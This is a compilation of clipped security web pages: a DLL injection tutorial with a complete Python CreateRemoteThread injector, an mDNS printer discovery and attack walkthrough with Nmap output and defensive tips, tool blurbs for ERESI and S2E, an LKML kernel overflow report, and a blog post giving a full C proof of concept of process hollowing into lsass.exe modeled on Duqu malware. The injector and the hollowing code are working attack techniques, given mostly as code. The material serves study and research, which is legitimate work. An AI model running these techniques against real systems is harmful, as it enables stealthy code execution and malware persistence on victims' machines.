                   NULL,           // Process handle not inheritable
                   NULL,           // Thread handle not inheritable
                   FALSE,          // Set handle inheritance to FALSE
                   0,              // No creation flags
                   NULL,           // Use parent's environment block
                   NULL,           // Use parent's starting directory 
                   &si,            // Pointer to STARTUPINFO structure
                   &pi )           // Pointer to PROCESS_INFORMATION structure
                   ) 
                  
                  // Wait until child process exits.
                  WaitForSingleObject( pi.hProcess, INFINITE );
    
                 // Close process and thread handles. 
                CloseHandle( pi.hProcess );
                CloseHandle( pi.hThread );
                break;
    
            case DLL_THREAD_ATTACH:
                    break;
            case DLL_THREAD_DETACH:
                    break;
            case DLL_PROCESS_DETACH:
                    break;
            }
            return TRUE;
    }
    
    
    
    
[/code]

So aside from the process creation code, the important thing to notice is the
switch\{\} statement that looks at whether the DLL has been loaded
\(DLL\_PROCESS\_ATTACH\), or unloaded \(DLL\_PROCESS\_DETACH\) and their
counterparts for threaded routines \(not important for this discussion\). The
main thing is that when we inject a DLL it will receive the
DLL\_PROCESS\_ATTACH, and it is there that we need to execute our code. Got
it? Good\! You can compile the above example with any C++ compiler on Windows
that you choose.

In Windows all DLL's are loaded using the LoadLibrary\(\) call, which takes
one parameter and that's the path of the DLL. Generally if you drop a DLL into
%systemroot% and just call LoadLibrary\(\) with the DLL's name it will find
it, otherwise use the full path to the DLL. The problem is that we need to get
a remote process to call LoadLibrary\(\) to get our DLL into it's process
space, this is the trickery that also makes it so cool :\)

### Loading the DLL

Now that we have a 10,000 foot view of how a DLL works, let's look at getting
it loaded into a remote process. The first step is to get a handle to the
process we want to inject into, this is done using the Win32 API call
OpenProcess\(\), like so:

[code]

    process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid);
    
    
[/code]

So all we do is pass it the PID of the process we want to inject into, and it
should return a valid handle. If not then most likely you don't have the
privileges necessary to get a handle to that process, try doing it as admin.
Now that we have the handle, we are able to manipulate that process. The first
step is to allocate a small amount of memory in that process to hold the name
of our DLL we wish to load. We use the VirtualAllocEx\(\) call to accomplish
this. Next, we want to write the name of our DLL to that newly acquired memory
page by using the WriteMemory\(\) function call.

[code]

    dll_name = "larry.dll";
    
    address_of_dll_name= VirtualAllocEx(process_handle, NULL, len(dll_name), VIRTUAL_MEM, PAGE_READWRITE);
    
    WriteProcessMemory(process_handle, address_of_string, dll_name, len(dll_name), bytes_written);
    
    
[/code]

So we allocate a 9-byte buffer in the remote process and then we write into
that memory. If successful then the bytes\_written parameter should now be
equal to integer value 9. Now we have the DLL name written, we have to get
LoadLibrary\(\) to somehow use that DLL name. This is where the "injection"
part comes together.

The first step is to determine where the function call LoadLibrary\(\)
actually lives in regards to the process that we are injecting into, in
Windows you resolve function addresses using GetModuleHandle\(\) and
GetProcAddress\(\).

[code]

    kernel32_handle = GetModuleHandleA("kernel32.dll");
    
    load_library_address = GetProcAddress(kernel32_handle, "LoadLibraryA");
    
    
[/code]

We now know where the function LoadLibrary\(\) lives so that we can actually
call it. NOTE: The "A" tagged onto the end of the LoadLibrary\(\) call means
to call this function in "ASCII" mode. This means you send it an ASCII DLL
name, if the call was "LoadLibraryW" then you have to Unicode encode the DLL
name before making the call. This is a standard calling convention for all
Win32 API functions.

Now it all comes together by calling CreateRemoteThread\(\). This function's
job is to spawn a thread in a process that you have a valid handle to, it's a
sweet function, especially for what we are looking to achieve. So it's
CreateRemoteThread\(\)'s job to make the call to LoadLibraryA with the
argument of "larry.dll". Here is how it's done:

[code]

    CreateRemoteThread(process_handle, NULL, NULL,load_library_address, address_of_dll_name, NULL, thread_id);
    
    
    
[/code]

When this gets called, it creates a thread who's starting point is the address
of LoadLibraryA. CreateRemoteThread\(\) also takes in the parameters for the
remote function call, in this case its "address\_of\_dll\_name" which points
to the string "larry.dll". Once you execute this function, game over, the DLL
is injected into that process.

To put it all together in Python:

[code]

    import ctypes
    
    PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )
    PAGE_READWRITE     = 0x04
    VIRTUAL_MEM        = ( 0x1000 | 0x2000 )
    
    kernel32 = ctypes.windll.kernel32
    
    dll_path = raw_input("Path to DLL you wish to inject:")
    dll_path_len = len(dll_path)
    
    pid = raw_input("PID you wish to inject into:")
    pid = int(pid)
    
    process_handle = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
    address_of_dll_name = kernel32.VirtualAllocEx(process_handle, 0, dll_path_len, VIRTUAL_MEM, PAGE_READWRITE)
    
    written = ctypes.c_int(0)
    kernel32.WriteProcessMemory(process_handle, address_of_dll_name, dll_path, dll_path_len, ctypes.byref(written))
    
    kernel32_handle = kernel32.GetModuleHandleA("kernel32.dll")
    load_library_address = kernel32.GetProcAddress(kernel32_handle, "LoadLibraryA")
    
    thread_id = ctypes.c_ulong(0)
    if not kernel32.CreateRemoteThread(process_handle, None, 0, load_library_address, address_of_dll_name, 0, ctypes.byref(thread_id)):
        print "[*] Failed to inject DLL."
    else:
        print "[*] Successfully injected. Thread ID: %08x" % thread_id
    
    
[/code]

# Tech Segment - Finding Devices With Zeroconf, Exploiting For Fun \(and
possibly profit\)

pdp from gnucitizen.org posted a nice article and tool that allows you to take
advantage of the mDNS services to discover devices. mDNS is "Multi-cast DNS"
and is defined in this draft RFC is part of the "Zerconf" protocol developed
by Apple. Zeroconf is, according to its wikipedia entry, "a set of techniques
that automatically create a usable IP network without configuration or special
servers. ". Yikes, does this smell of trouble with security? So exiting I can
smell it, and you should too especially if its on your network\! The zeroconf
service allows devices to to name resolution in the .local. domain by
contacting the multicast address "224.0.0.251". Not only does name resolution
happen here, but services too\! The tool, written in Python, allows you to
query all the devices running zerconf by sending requests to the multicast
address. This script requires Python 2.5 or later \(in OS X I used Darwin
ports to install: 'port install python2.5'\). I then had to point to the
python binary specifically \(yes, I should make a better workaround for
that\). The mDNS.py script has a few options:

[code]

    usage: mDNS.py [options]
            -a --action        action type
            -d --domain        domain
            -H --host          host
            -i --iterations    iterations (default 1)
            -n --name          name
            -p --port          port
            -r --record        txtRecord
            -t --type          record type
            -T --timeout       operation timeout (default 5, register, browse)
            -u --utimeout      secondary timeout (default 5, resolve)
            -h --help          show this screen
    
    actions:
            B                  - browse mDNS
            R                  - register new mDNS entity
    
    types:
            _printer._tcp
            _pdl-datastream._tcp
            _ipp._tcp
            _http._tcp
            _ftp._tcp
            _telnet._tcp
            _ssh._tcp
    
    examples:
            mDNS.py -aB -t _pdl-datastream._tcp
            mDNS.py -aR -t _test._pdl-datastream._tcp -p 1900 -i 10
    
    GNUCITIZEN
    Petko D. Petkov; pdp (architect)
    
    
[/code]

I wanted to start just by browsing, however there are follow-up articles from
gnucitizen that talk about spoofing and becoming the devices registered via
zerconf. To browse I used the "-aB" option. I then had to specify a type,
which referes to the service type in zeroconf \(for more information go here.
So here's the example, lets say I want to find all of the printers on the
network that are participating in zerconf and respnding to mDNS requests:

[code]

    paimei:~/mDNS paulda$ /opt/local/bin/python2.5 mDNS.py -aB -t _printer._tcp
    record:
            name: Brother\032MFC-9420CN._printer._tcp.local.
            host: BRN-7EB8E1.local.
            port: 515
            txtRecord: txtvers=qtotal=16pdl=application/vnd.hp-PCL,application/vnd.brother-hbprp=duerqxesz5090ty=Brother MFC-9420CNproduct=(Brother MFC-9420CN)"adminurl=http://BRN-7EB8E1.local./
    Transparent=TTBCP=FT                                  priority=75usb_MFG=Brotherusb_MDL=MFC-9420CNColor=Copies=Duplex=F
    
    record:
            name: hp\032color\032LaserJet\0324600\032(0001E671A406)._printer._tcp.local.
            host: BeerBreadRUs179.local.
            port: 515
            txtRecord: rp=RAWJpdl=application/postscript,application/vnd.hp-PCL,application/vnd.hp-PCLXLty=hp color LaserJet 4600 product=(hp color LaserJet 4600)
                          priority=52#adminurl=http://BeerBreadRUs179.local.:80Color=Copies=Duplex=T
    
    
[/code]

Lots of fun stuff here\! First, note the hostnames "BeerBreadRUs179.local."
You can actually type 'ping BeerBreadRUs179.local." and it will resolve the
name and start pinging it which is pretty neat because its using mDNS to do
the name resolution instead of the normal process. I wanted to see what the
network traffic looked like, and the most interesting thing is that no packets
were sent to the end devices, but only to the multicast address\! Below is the
traffic output:

[code]

    10:57:22.989868 IP 192.168.10.50.5353 > 224.0.0.251.5353: 0 [2a] PTR (QU)? _printer._tcp.local. (122)
    10:57:23.090120 IP 192.168.10.50.5353 > 224.0.0.251.5353: 0 [2q] SRV (QU)? Brother MFC-9420CN._printer._tcp.local. TXT (QU)? Brother MFC-9420CN._printer._tcp.local. (62)
    10:57:23.989868 IP 192.168.10.50.5353 > 224.0.0.251.5353: 0 [2a] [3q] PTR (QM)? _printer._tcp.local. SRV (QM)? Brother MFC-9420CN._printer._tcp.local. TXT (QM)? Brother MFC-9420CN._printer._tcp.local. (134)
    10:57:24.080248 IP 192.168.10.3.5353 > 224.0.0.251.5353: 0*- [0q] 2/0/1 (Cache flush) SRV BRN-7EB8E1.local.:515 0 0, (Cache flush) TXT "txtvers=1" "qtotal=1" "pdl=application/vnd.hp-PCL,application/vnd.brother-hbp" "rp=duerqxesz5090" "ty=Brother MFC-9420CN" "product=(Brother MFC-9420CN)" "adminurl=http://BRN-7EB8E1.local./" "priority=75" "usb_MFG=Brother" "usb_MDL=MFC-9420CN" "Color=F" "Copies=T" "Duplex=F" "PaperCustom=T" "Binary=T" "Transparent=T" "TBCP=F" (403)
    10:57:24.089635 IP 192.168.10.50.5353 > 224.0.0.251.5353: 0 [2q] SRV (QU)? hp color LaserJet 4600 (0001E671A406)._printer._tcp.local. TXT (QU)? hp color LaserJet 4600 (0001E671A406)._printer._tcp.local. (81)
    10:57:25.498903 IP 192.168.10.4.5353 > 224.0.0.251.5353: 0*- [0q] 5/0/1 (Cache flush) SRV BeerBreadRUs179.local.:515 0 0, TXT "rp=RAW" "pdl=application/postscript,application/vnd.hp-PCL,application/vnd.hp-PCLXL" "ty=hp color LaserJet 4600" "product=(hp color LaserJet 4600)" "priority=52" "adminurl=http://BeerBreadRUs179.local.:80" "Color=T" "Copies=T" "Duplex=T", TXT "rp=TEXT" "pdl=text/plain" "ty=hp color LaserJet 4600" "product=(hp color LaserJet 4600)" "priority=53" "adminurl=http://BeerBreadRUs179.local.:80" "Color=T" "Copies=T" "Duplex=T", TXT "rp=AUTO" "pdl=application/postscript,application/vnd.hp-PCL,application/vnd.hp-PCLXL,text/plain" "ty=hp color LaserJet 4600" "product=(hp color LaserJet 4600)" "priority=51" "adminurl=http://BeerBreadRUs179.local.:80" "Color=T" "Copies=T" "Duplex=T", (Cache flush) TXT "rp=BINPS" "pdl=application/postscript" "ty=hp color LaserJet 4600" "product=(hp color LaserJet 4600)" "Transparent=T" "Binary=T" "priority=50" "adminurl=http://BeerBreadRUs179.local.:80" "Color=T" "Copies=T" "Duplex=T" (953)
    
    
[/code]

So, now lets continue our attack and take a look at the printers and how they
stand up to an Nmap scan:

[code]

    paimei:~ root# nmap -O -sV BRN-7EB8E1.local.
    
    Starting Nmap 4.50 ( http://insecure.org ) at 2008-01-31 11:04 EST
    Interesting ports on brother.net.beerbreadrus.org (192.168.10.3):
    Not shown: 1704 closed ports
    PORT     STATE SERVICE    VERSION
    21/tcp   open  ftp        Brother/HP printer ftpd 1.10
    23/tcp   open  telnet     Brother/HP printer telnetd
    25/tcp   open  smtp       Brother printer smtpd
    80/tcp   open  http       Brother/HP printer webadmin (Debut embedded httpd 0.07)
    515/tcp  open  printer
    631/tcp  open  http       Brother/HP printer webadmin (Debut embedded httpd 0.07)
    9100/tcp open  jetdirect?
    MAC Address: 00:80:77:7E:B8:E1 (Brother Industries)
    No exact OS matches for host (If you know what OS is running on it, see http://insecure.org/nmap/submit/ ).
    TCP/IP fingerprint:
    OS:SCAN(V=4.50%D=1/31%OT=21%CT=1%CU=40325%PV=Y%DS=1%G=Y%M=008077%TM=47A1F1B
    OS:1%P=i386-apple-darwin8.11.1)SEQ(SP=CD%GCD=1%ISR=D9%TI=I%II=I%SS=S%TS=U)O
    OS:PS(O1=M5B4%O2=M578%O3=M280%O4=M200%O5=M218%O6=M109)WIN(W1=1000%W2=1000%W
    OS:3=1000%W4=1000%W5=1000%W6=1000)ECN(R=Y%DF=N%T=73%W=1000%O=M5B4%CC=N%Q=)T
    OS:1(R=Y%DF=N%T=73%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=N%T=73%W=1000%S=O
    OS:%A=S+%F=AS%O=M109%RD=0%Q=)T4(R=Y%DF=N%T=73%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5
    OS:(R=Y%DF=N%T=73%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=N%T=73%W=0%S=A%A=Z
    OS:%F=R%O=%RD=0%Q=)T7(R=Y%DF=N%T=73%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=
    OS:N%T=73%TOS=0%IPL=38%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=96CB%RUL=G%RUD=G)IE(R
    OS:=Y%DFI=N%T=73%TOSI=Z%CD=Z%SI=S%DLI=S)
    
    
    Network Distance: 1 hop
    Service Info: Device: printer
    
    OS and Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 32.190 seconds
    
    
[/code]

And the other printer:

[code]

    paimei:~ root# nmap -O -sV 192.168.10.4
    
    Starting Nmap 4.50 ( http://insecure.org ) at 2008-01-31 11:18 EST
    Interesting ports on hp1200.net.beerbreadrus.org (192.168.10.4):
    Not shown: 1703 closed ports
    PORT     STATE SERVICE    VERSION
    21/tcp   open  ftp        HP JetDirect ftpd
    23/tcp   open  telnet     HP JetDirect printer telnetd (No password)
    80/tcp   open  http       HP LaserJet http config (Embedded webserver: Agranat-EmWeb 6.2.1)
    280/tcp  open  http       HP LaserJet http config (Embedded webserver: Agranat-EmWeb 6.2.1)
    443/tcp  open  ssl/http   HP LaserJet http config (Embedded webserver: Agranat-EmWeb 6.2.1)
    515/tcp  open  printer
    631/tcp  open  http       HP LaserJet http config (Embedded webserver: Agranat-EmWeb 6.2.1)
    9100/tcp open  jetdirect?
    MAC Address: 00:01:E6:71:A4:06 (Hewlett-Packard Company)
    Device type: printer
    Running: HP embedded
    OS details: HP LaserJet 4050/4200/4600/5100 (JetDirect) printer
    Uptime: 9.036 days (since Tue Jan 22 10:27:47 2008)
    Network Distance: 1 hop
    Service Info: Devices: print server, printer
    
    OS and Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 18.857 seconds
    
    
[/code]

Interesting stuff\! I did some poking and found the the HP printer above was
vulnerable to an attack against the PCL subsystem outlined some years ago.
Using a tool called Hijetter \(available from the new Phenoelit US web site\)
I found the following:

The first image shows the initial screen. I entered the IP address of the
printer and clicked the connect button.

<img src='img/Temp2_2757.png' width='456' height='365'
alt='Image:CropperCapture-1-.Png' />

You can see that we have three buttons below, and they are all active and
available to us. The first lets us browse all of the file on the printer and
upload new files:

<img src='img/Temp2_2755.png' width='396' height='411'
alt='Image:CropperCapture-2-.Png' />

The second allows us to change the configuration settings on the printer. The
setting shown below will print 10000 copies of each page printed to the
printer:

<img src='img/Temp2_2754.png' width='397' height='425'
alt='Image:CropperCapture-3-.Png' />

The final one allows you to change the display on the printer:

<img src='img/Temp2_2756.png' width='412' height='148'
alt='Image:CropperCapture-4-.Png' />

Defense

  * Disable mDNS and Zerconf on your devices
  * Only enable the services that you need on your devices \(why does a printer need FTP?\)
  * Keep up-to-date with firmware
  * Implement a print server so users do not connect directly to the printers
  * Filter traffic to the multicast address space

# ERESI – Trac

**Created:**| _5/29/2010 11:22:10 AM_  
---|---  
**Updated:**| _5/29/2010 11:22:10 AM_  
**Author:**| _wishi_  
**Tags:**| _Practical Software Verification C++ C programming_  
  

  * elfsh : An interactive and scriptable static program instrumentation tool for ELF binary files.
  * kernsh: An interactive and scriptable runtime kernel instrumentation tool for code injection, modification and redirection.
  * e2dbg : An interactive and scriptable high-performance userland debugger that works without standard OS debug API \(without ptrace\).
  * etrace : A scriptable userland tracer that works at full frequency of execution without generating traps.
  * kedbg: A remote kernel debugger with ERESI scripting capabilities interfaced with the GDB server, VMware, Qemu, Boches and OpenOCD \(JTAG\) via the GDB serial protocol.
  * Evarista?: A binary program transformer entirely implemented in the ERESI language.

# DSLab » S²E - Dependable Systems Laboratory

**Created:**| _5/25/2011 4:39:36 PM_  
---|---  
**Updated:**| _5/25/2011 4:40:32 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification binary instrumentation awesome
llvm_  
  

# S²E: A Platform for In-Vivo Multi-Path Software Analysis

# Downloads

<img src='img/Temp2_1911.png' /> | S2E in a Box  
Hands-on experience of multi-path software analysis in a preconfigured
environment.  
Requires VMware Player  
---|---  
<img src='img/Temp2_1912.png' /> | Source Code  
Including build instructions, documentation, tutorials, and more.  
S2E is a platform for writing tools that analyze the properties and behavior
of software systems. So far, we have used S2E to develop a comprehensive
performance profiler, a reverse engineering tool for proprietary software, and
a bug finding tool for both kernel-mode and user-mode binaries. Building these
tools on top of S2E took less than 770 LOC and 40 person-hours each.

S2E’s novelty consists of its ability to scale to large real systems, such as
a full Windows stack. S2E is based on two new ideas:

  * _Selective symbolic execution_ , a way to automatically minimize the amount of code that has to be executed symbolically given a target analysis; and
  * _Relaxed execution consistency models_ , a way to make principled performance/accuracy trade-offs in complex analyses.

These techniques give S2E three key abilities:

  * to simultaneously analyze entire families of execution paths, instead of just one execution at a time;
  * to perform the analyses in-vivo within a real software stack—user programs, libraries, kernel, drivers, etc.—instead of using abstract models of these layers; and
  * to operate directly on binaries, thus being able to analyze even proprietary software.

Conceptually, S2E is an automated path explorer with modular path analyzers:
the explorer drives the target system down all execution paths of interest,
while analyzers check properties of each such path \(e.g., to look for bugs\)
or simply collect information \(e.g., count page faults\). Desired paths can
be specified in multiple ways, and S2E users can either combine existing
analyzers to build a custom analysis tool, or write new analyzers using the
S2E API.

S2E helps make analyses based on symbolic execution practical for large
software that runs in real environments, without requiring explicit modeling
of these environments.

For more details, please see the following papers and/or the Documentation tab
above.

  * S2E: A Platform for In Vivo Multi-Path Analysis of Software Systems. Vitaly Chipounov, Volodymyr Kuznetsov, George Candea.  
_16th Intl. Conference on Architectural Support for Programming Languages and
Operating Systems_ \(ASPLOS\), Newport Beach, CA, March 2011.  
**BEST PAPER AWARD** \- Presentation Slides

  * Testing Closed-Source Binary Device Drivers with DDT. Volodymyr Kuznetsov, Vitaly Chipounov, George Candea.  
_USENIX Annual Technical Conference_ \(USENIX\), Boston, MA, June 2010.  
Presentation Video

  * Reverse Engineering of Binary Device Drivers with RevNIC. Vitaly Chipounov and George Candea.  
_5th ACM SIGOPS/EuroSys European Conference on Computer Systems_ \(EuroSys\),
Paris, France, April 2010.

  * Selective Symbolic Execution. Vitaly Chipounov, Vlad Georgescu, Cristian Zamfir, George Candea.  
_5th Workshop on Hot Topics in System Dependability_ \(HotDep\), Lisbon,
Portugal, June 2009

For more details, including downloading and setting up, please navigate the
tabs above.

# EGMPRS -

**Created:**| _2/8/2012 1:38:33 PM_  
---|---  
**Updated:**| _2/8/2012 1:38:38 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

<img src='img/Temp2_2515.gif' /> <img src='img/Temp2_2514.gif' /> <img
src='img/Temp2_2513.gif' alt='Next' /> <img src='img/Temp2_2518.gif'
alt='Last' /> <img src='img/Temp2_2516.gif' /> <img src='img/Temp2_2517.gif'
alt='Index' /> <img src='img/Temp2_2512.gif' alt='Text' />  
---  
<img src='img/Temp2_2519.gif' width='800' height='600' />  
Slide 1 of 34

Vimium has been updated to 1.30.x

# LKML: Clement LECIGNE: \[BUG\]\[SECURITY\] Kernel stack overflow in
hfs\_mac2asc\(\)

**Created:**| _12/6/2011 10:03:52 AM_  
---|---  
**Updated:**| _12/6/2011 10:03:52 AM_  
**Author:**| __  
**Tags:**| _Linux poc_  
  
| | Weblkml.org  
---  
| Date| Wed, 9 Nov 2011 20:08:48 +0100  
---|---  
From| Clement LECIGNE <>  
Subject| \[BUG\]\[SECURITY\] Kernel stack overflow in hfs\_mac2asc\(\)

[code]

    Hi lkml,  
      
    I have found there is no len nor bound checkings in hfs_mac2asc()  
    function against the size of the out buffer passed as parameter.  
    The src size can be greater than HFS_MAX_NAMELEN on malformed file  
    system. HFS_MAX_NAMELEN is 31 whereas src size can be set up to  
    255 (unsigned char).  
      
    This can lead to a basic kernel stack overflow with user controlled  
    data through for example hfs_readdir() which calls hfs_mac2asc() with  
    out buffer "allocated" on the stack.  
      
    This overflow can be simply fixed by adding bound checks on srclen  
    before doing the copy.  
      
    Best regards,  
      
    --   
    Clément LECIGNE,  
    "In Python, how do you create a string of random characters? Read a Perl  
    file!"  
    --  
    To unsubscribe from this list: send the line "unsubscribe linux-kernel" in  
    the body of a message to majordomo@vger.kernel.org  
    More majordomo info at  http://vger.kernel.org/majordomo-info.html  
    Please read the FAQ at  http://www.tux.org/lkml/  
    
[/code]

# w4kfu's bl0g

**Created:**| _11/10/2011 3:17:11 PM_  
---|---  
**Updated:**| _11/10/2011 3:17:11 PM_  
**Author:**| __  
**Tags:**| _binary instrumentation windows environment_  
  

## New method of injection

reverse malware duqu ZwMapViewOfSection ZwUnmapViewOfSection

## Introduction

I disovered a new method of injection \(I don't know if it is really new\) in
a malware dropped by duqu.  
So I want to share it with you and as usual write a p0c.  
Edit : This method is not new, apparently it have been using by game cheats
for years, but instead of using ZwUnmapViewOfSection they use FreeLibrary.

## Injection Method

The malware in question is simply a keylogger, but it uses a nice tricks for
injecting into another process.  
First it will create \(as usual\) a suspended lsass.exe process via
CreateProcess\(\).  
Then it will gather process information via ZwQueryInformationProcess\(\),
especially PebBaseAddress.  
But what can he do with this address, if we look at PEB struct :  

[code]

    >dt nt!_PEB
    +0x000 InheritedAddressSpace : UChar
    +0x001 ReadImageFileExecOptions : UChar
    +0x002 BeingDebugged : UChar
    +0x003 SpareBool : UChar
    +0x004 Mutant : Ptr32 Void
    +0x008 ImageBaseAddress : Ptr32 Void
    
[/code]

It will get the ImageBaseAddress at offset 0x8, by reading it with
ReadProcessMemory\(\).  
First it create a section with ZwCreateSection\(\), then it will in the actual
process \(not in lsass.exe supended\), ZwMapViewOfSection\(\) with argument
BaseAdress equal to 0, copy old lsass.exe PE image and modify entry point, he
will do the same operation on lsass.exe process but with BaseAdress equal to
BaseImage, but wait \! if we read the documentation of ZwMapViewOfSection, we
will get a NTSTATUS equal to STATUS\_CONFLICTING\_ADDRESSES, and the answer is
no, because before the second ZwMapViewOfSection, it will perform
ZwUnmapViewOfSection\(\) with BaseAddress equal to ImageBaseAddress on
lsass.exe process.  
And if you wonder : "Wait what \!? is it possible ?", and the answer is yes.  
With this tricks the malware is able to replace ALL the PE image of the
suspended process.  

## p0c

So I decided to rewrite this tricks, to well understand the stuff done by the
malware \( maybe you will better understand what I explained before \).  
Tested under Windows XP SP3, and Windows Seven SP1 \(32 bits\).  

Main.c :

[code]

    **#include** "main.h"
    
    int **get_entrypoint**(char *read_proc)
    {
    	IMAGE_DOS_HEADER *idh = NULL;
    	IMAGE_NT_HEADERS *inh = NULL;
    
    	idh = (IMAGE_DOS_HEADER*)read_proc;
    	inh = (IMAGE_NT_HEADERS *)((BYTE*)read_proc + idh->e_lfanew);
    	**printf**("Entrypoint = %x\n", inh->OptionalHeader.AddressOfEntryPoint);
    	**return** (inh->OptionalHeader.AddressOfEntryPoint);
    }
    
    int **main**(void)
    {
    	STARTUPINFO si;
    	PROCESS_INFORMATION pi;
    	char path_lsass[260];
    	PROCESS_BASIC_INFORMATION pbi;
    	DWORD nb_read;
    	DWORD ImageBase;
    	HANDLE hsect;
    	NTSTATUS stat;
    	PVOID BaseAddress = NULL;
    	PVOID BaseAddress2 = NULL;
    	DWORD eip;
    
    	**memset**(&si, 0, **sizeof**(STARTUPINFO));
        	si.cb = **sizeof**(STARTUPINFO);
        	**memset**(&pi, 0, **sizeof**(PROCESS_INFORMATION));
    	**memset**(&pbi, 0, **sizeof**(PROCESS_BASIC_INFORMATION));
    	**ExpandEnvironmentStrings**(L"%SystemRoot%\\system32\\lsass.exe", (LPWSTR)path_lsass, 260);
    	**wprintf**(L"[+] New Path for lsasse.exe = %s\n", path_lsass);
    	**if** (!**CreateProcess**((LPWSTR)path_lsass, NULL, NULL, NULL, NULL,
    					CREATE_SUSPENDED|DETACHED_PROCESS|CREATE_NO_WINDOW,
    					NULL, NULL, &si, &pi))
    	{
    		**printf**("[-] CreateProcessW failed\n");
    		**printf**("LatError = %x\n", **GetLastError**());
    		**return** (-1);
    	}
    
    	ZwQueryInformationProcess = (long (**__stdcall** *)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG))**GetProcAddress**(**GetModuleHandleA**("ntdll"),"ZwQueryInformationProcess");
    	ZwMapViewOfSection = (long (**__stdcall** *)(HANDLE,HANDLE,PVOID *,ULONG_PTR,SIZE_T,PLARGE_INTEGER,PSIZE_T,DWORD,ULONG,ULONG))**GetProcAddress**(**GetModuleHandleA**("ntdll"),"ZwMapViewOfSection");
    	ZwUnmapViewOfSection = (long (**__stdcall** *)(HANDLE, PVOID))**GetProcAddress**(**GetModuleHandleA**("ntdll"),"ZwUnmapViewOfSection");
    	ZwCreateSection = (long (**__stdcall** *)(PHANDLE,ACCESS_MASK,PDWORD,PLARGE_INTEGER,ULONG,ULONG,HANDLE))**GetProcAddress**(**GetModuleHandleA**("ntdll"),"ZwCreateSection");
    
    	**if** (ZwMapViewOfSection == NULL || ZwQueryInformationProcess == NULL || ZwUnmapViewOfSection == NULL || ZwCreateSection == NULL)
    	{
    		**printf**("[-] GetProcAddress failed\n");
    		**return** (-1);
    	}
    
    	**if** (**ZwQueryInformationProcess**(pi.hProcess, 0, &pbi, **sizeof**(PROCESS_BASIC_INFORMATION), NULL) != 0)
        {
    		**printf**("[-] ZwQueryInformation failed\n");
    		**return** (-1);
        }
    
    	**printf**("[+] UniqueProcessID = 0x%x\n", pbi.UniqueProcessId);
    
    	**if** (!**ReadProcessMemory**(pi.hProcess, (BYTE*)pbi.PebBaseAddress + 8, &ImageBase, 4, &nb_read) && nb_read != 4)
    	{
    		**printf**("[-] ReadProcessMemory failed\n");
    		**return** (-1);
    	}
    
    	**printf**("[+] ImageBase = 0x%x\n", ImageBase);
    
    	char read_proc[0x6000];
    
    	**if** (!**ReadProcessMemory**(pi.hProcess, (LPCVOID)ImageBase, read_proc, 0x6000, &nb_read) && nb_read != 0x6000)
    	{
    		**printf**("[-] ReadProcessMemory failed\n");
    		**return** (-1);
    	}
    
    	**printf**("(dbg) Two first bytes : %c%c\n", read_proc[0], read_proc[1]);
    	eip = **get_entrypoint**(read_proc);
    
    	LARGE_INTEGER a;
    	a.HighPart = 0;
    	a.LowPart = 0x8EF6;
    
    	**if** ((stat = **ZwCreateSection**(&hsect, SECTION_ALL_ACCESS, NULL, &a, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != STATUS_SUCCESS)
    	{
    		**printf**("[-] ZwCreateSection failed\n");
    		**printf**("[-] NTSTATUS = %x\n", stat);
    		**return** (-1);
    	}
    	SIZE_T size;
    	size = 0x8000;
    
    	BaseAddress = (PVOID)0;
    	**if** ((stat = **ZwMapViewOfSection**(hsect, **GetCurrentProcess**(), &BaseAddress, NULL, NULL, NULL, &size, 1 _/* ViewShare */_ , NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
    	{
    		**printf**("[-] ZwMapViewOfSection failed\n");
    		**printf**("[-] NTSTATUS = %x\n", stat);
    		**return** (-1);
    	}
    	**memset**((BYTE*)read_proc + eip, 0xCC, 1);
    	**memcpy**(BaseAddress, read_proc, 0x2000);
    	BaseAddress = (PVOID)ImageBase;
    	**printf**("BaseAddress = %x\n", BaseAddress);
    
    	**ZwUnmapViewOfSection**(pi.hProcess, BaseAddress);
    
    	**if** ((stat = **ZwMapViewOfSection**(hsect, pi.hProcess, &BaseAddress, NULL, NULL, NULL, &size, 1 _/* ViewShare */_ , NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
    	{
    		**printf**("[-] ZwMapViewOfSection failed\n");
    		**printf**("[-] NTSTATUS = %x\n", stat);
    		**system**("pause");
    		**return** (-1);
    	}
    	**printf**("BaseAddress = %x\n", BaseAddress);
    	**ResumeThread**(pi.hThread);
    	**system**("pause");
    
    	**return** (0);
    }
[/code]

And the include file :

[code]

    **#include** <stdio.h>
    **#include** <Windows.h>
    
    **#if** !defined NTSTATUS
    **typedef** LONG NTSTATUS;
    **#endif**
    
    **#define** STATUS_SUCCESS 0
    
    **#if** !defined PROCESSINFOCLASS
    **typedef** LONG PROCESSINFOCLASS;
    **#endif**
    
    **#if** !defined PPEB
    **typedef** **struct** _PEB *PPEB;
    **#endif**
    
    **#if** !defined PROCESS_BASIC_INFORMATION
    **typedef** **struct** _PROCESS_BASIC_INFORMATION {
        PVOID Reserved1;
        PPEB PebBaseAddress;
        PVOID Reserved2[2];
        ULONG_PTR UniqueProcessId;
        PVOID Reserved3;
    } PROCESS_BASIC_INFORMATION;
    **#endif** ;
    
    **typedef** LONG NTSTATUS, *PNTSTATUS;
    **typedef** **struct** _UNICODE_STRING {
      USHORT Length;
      USHORT MaximumLength;
      PWSTR  Buffer;
    } UNICODE_STRING, *PUNICODE_STRING;
    
    **typedef** **struct** _OBJECT_ATTRIBUTES {
      ULONG Length;
      HANDLE RootDirectory;
      PUNICODE_STRING ObjectName;
      ULONG Attributes;
      PVOID SecurityDescriptor;
      PVOID SecurityQualityOfService;
    } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
    
